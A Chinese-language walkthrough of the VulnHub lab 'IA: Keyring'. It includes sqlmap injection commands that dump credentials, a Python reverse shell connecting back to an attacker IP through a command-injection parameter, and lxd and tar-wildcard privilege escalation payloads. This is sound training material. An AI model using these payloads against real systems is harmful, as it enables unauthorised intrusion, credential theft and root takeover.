准备:

攻击机:虚拟机kali、本机win10。

靶机:IA: KEYRING (1.0.1),下载地址:https://download.vulnhub.com/ia/keyring-v1.01.ova,下载后直接vbox打开即可。

知识点:lxd提权、tar通配符提权、命令执行、sql注入、ida逆向、源码分析、gobuster目录扫描。

端口扫描:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.18.8.0/24,获得靶机地址:172.18.8.191。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.18.8.191,显示开放了22、80端口,开启了ssh服务和http服务。

web信息收集:

访问:http://172.18.8.191/是一个登录注册页面,进行账号信息注册然后进行登录,但是注册admin时显示该账户已存在,那我们就注册一个别的账户:upfine/upfine,然后进行登录。

登录时输入账号和密码信息一直不会跳转登录,查看页面源码信息,在其源码信息中发现登录页面:login.php,访问:http://172.18.8.191/login.php页面使用账户:upfine/upfine进行登录。

成功登陆后发现给与我们的提示信息,简单的告诉了我们什么是参数污染,但是在这几个界面中未发现参数的传递。

目录扫描:

使用gobuster进行目录扫描,发现about.php、index.php、history.php等页面,其中history.php页面是新多出来的页面。

打开该页面是一个空白页面,但是当退出之后在访问该页面会告诉我们不能找到某个用户的活动,因此猜测我们需要传入用户名参数user。

当我们传输user参数时:http://172.18.8.191/history.php?user=upfine,这时候又需要我们登录账户才可以,想到注册时告诉我们admin账户已存在,那我们也查看下admin账户信息,给我们返回了一个代码仓库地址:https://github.com/cyberbot75/keyring。

源码分析:

通过该地址下载下来页面源码信息,在control.php源码中发现了数据库的账户和密码信息:root/sqluserrootpassw0r4,数据库:users,以及不安全的函数system()。测试该函数是否可以进行命令执行,命令:http://172.18.8.191/control.php?cmdcntr=id,但是未回显任何信息,猜测是账户权限问题。

SQL注入:

在此页面:http://172.18.8.191/history.php?user=upfine,进行了简单的注入测试,发现存在注入点。

那就使用sqlmap获取下表名、列明和具体的数据信息,数据库名称在源码文件中已知:users。sqlmap命令如下,最终发现了两组账户和密码:admin/myadmin#p4szw0r4d、john/Sup3r$S3cr3t$PasSW0RD。

获取表名
sqlmap -u http://172.18.8.191/history.php?user=admin --cookie='PHPSESSID=jno08545neep7psrg6phni549c' --batch -D users --tables
获取表的数据
sqlmap -u http://172.18.8.191/history.php?user=admin --cookie='PHPSESSID=jno08545neep7psrg6phni549c' --batch -D users -T details --dump

获取shell:

使用我们获得的账户信息:admin/myadmin#p4szw0r4d进行登录,然后测试命令执行,此时命令执行成功。

利用命令执行函数直接反弹shell,命令如下:http://172.18.8.191/control.php?cmdcntr=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22172.18.8.120%22,6688));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27,在kali中开启对6688端口的监听,成功获得shell权限。

其余几种方式经测试无法反弹shell,可以在这个网站找各语言的反弹shell语句进行测试:https://www.revshells.com/
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.8.120",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

提权方式一-lxd提权:

在/home目录下发现john账户,加上我们之前发现的账户信息:john/Sup3r$S3cr3t$PasSW0RD,那我们就可以直接切换到john账户,成功切换到john账户后发现john账户具有lxd权限。

切换john账户后,在john目录下发现user.txt文件,读取该文件成功获取到第一个flag值。

首先在这个网站:https://github.com/saghul/lxd-alpine-builder.git下载tar.gz文件并上传到靶机,命令:wget http://172.18.8.120:8000/alpine-v3.13-x86_64.tar.gz。然后在依次执行如下命令,即可成功获得root权限,获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。这里获取root权限后出现了一点乱码,但是整体不影响,之前遇到过三次了,所以这里就这样。

lxc image import ./alpine-v3.13-x86_64.tar.gz --alias myimage
lxd init #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

提权方式二-tar通配符提权:

将在/john目录下发现的compress文件下载下来。

在本地使用ida进行逆向分析,生成伪c代码,发现使用root权限执行了:/bin/tar cf archive.tar *,这里存在一个tar的通配符提权漏洞。

tar的通配符提权漏洞原理:当执行tar 命令时,通配符* 会自动被替换成参数。下面的话就是替换成我们的upfine.sh脚本,利用的payload如下,依次执行下面命令成功获得root权限,并在/root目录下发现root.txt文件,读取该文件成功获取到flag值。

echo "/bin/bash" > upfine.sh
echo "" > "--checkpoint-action=exec=sh upfine.sh"
echo "" > --checkpoint=1
./compress

vulnhub靶场之IA: KEYRING (1.0.1)的更多相关文章

  1. Vulnhub靶场渗透练习(一) Breach1.0

    打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...

  2. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  3. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  4. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  7. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  8. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  9. vulnhub靶场之DRIPPING BLUES: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...

  10. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

随机推荐

  1. Linux自动切换用户

    Linux自动切换用户 一.创建sh文件 touch su_user.sh 二.下载脚本 yum install -y expect 三.脚本内容 #!/bin/bash# This is our f ...

  2. Oracle注入

    Oracle 查询出所有的表 select * from all_tables 查询出当前用户的表 select * from user_tables 查询出所有的字段 select*from all ...

  3. <一>从指令角度了解函数堆栈调用过程

    代码 点击查看代码 #include <iostream> using namespace std; int sum(int a,int b){ int temp=0; temp= a + ...

  4. 时序数据库TDengine 详细安装+集成流程+问题解决

    官方文档:https://docs.taosdata.com/get-started/package/ 点击进入 产品简介 TDengine 是一款高性能.分布式.支持 SQL 的时序数据库 (Dat ...

  5. 我的Vue之旅 10 Gin重写后端、实现页面详情页 Mysql + Golang + Gin

    第三期 · 使用 Vue 3.1 + Axios + Golang + Mysql + Gin 实现页面详情页 使用 Gin 框架重写后端 Gin Web Framework (gin-gonic.c ...

  6. SpringCloud(十) - Docker

    1.Docker安装 1.1 卸载旧版本(否者会安装出错) sudo yum remove docker \ docker-client \ docker-client-latest \ docker ...

  7. hwlog---huawei.com/npu-exporter/utils---utils.go

    // Copyright(C) 2021. Huawei Technologies Co.,Ltd. All rights reserved.// Package utils offer the so ...

  8. Go语言核心36讲23

    我在上两篇文章中,详细地讲述了Go语言中的错误处理,并从两个视角为你总结了错误类型.错误值的处理技巧和设计方式. 在本篇,我要给你展示Go语言的另外一种错误处理方式.不过,严格来说,它处理的不是错误, ...

  9. Shell脚本--信号发送与捕捉

    信号(Signal):信号是在软件层次上对中断机制的一种模拟,通过给一个进程发送信号,执行相 应的处理函数. 进程可以通过三种方式来响应一个信号: 忽略信号,即对信号不做任何处理,其中有两个信号不能忽 ...

  10. nydusd 源码理解(一)

    " 尝试通过 nydus[1] 源码理解工作流程.可能由于代码变动导致和本文记录的内容有出入. 1. 环境准备 git clone https://github.com/dragonflyo ...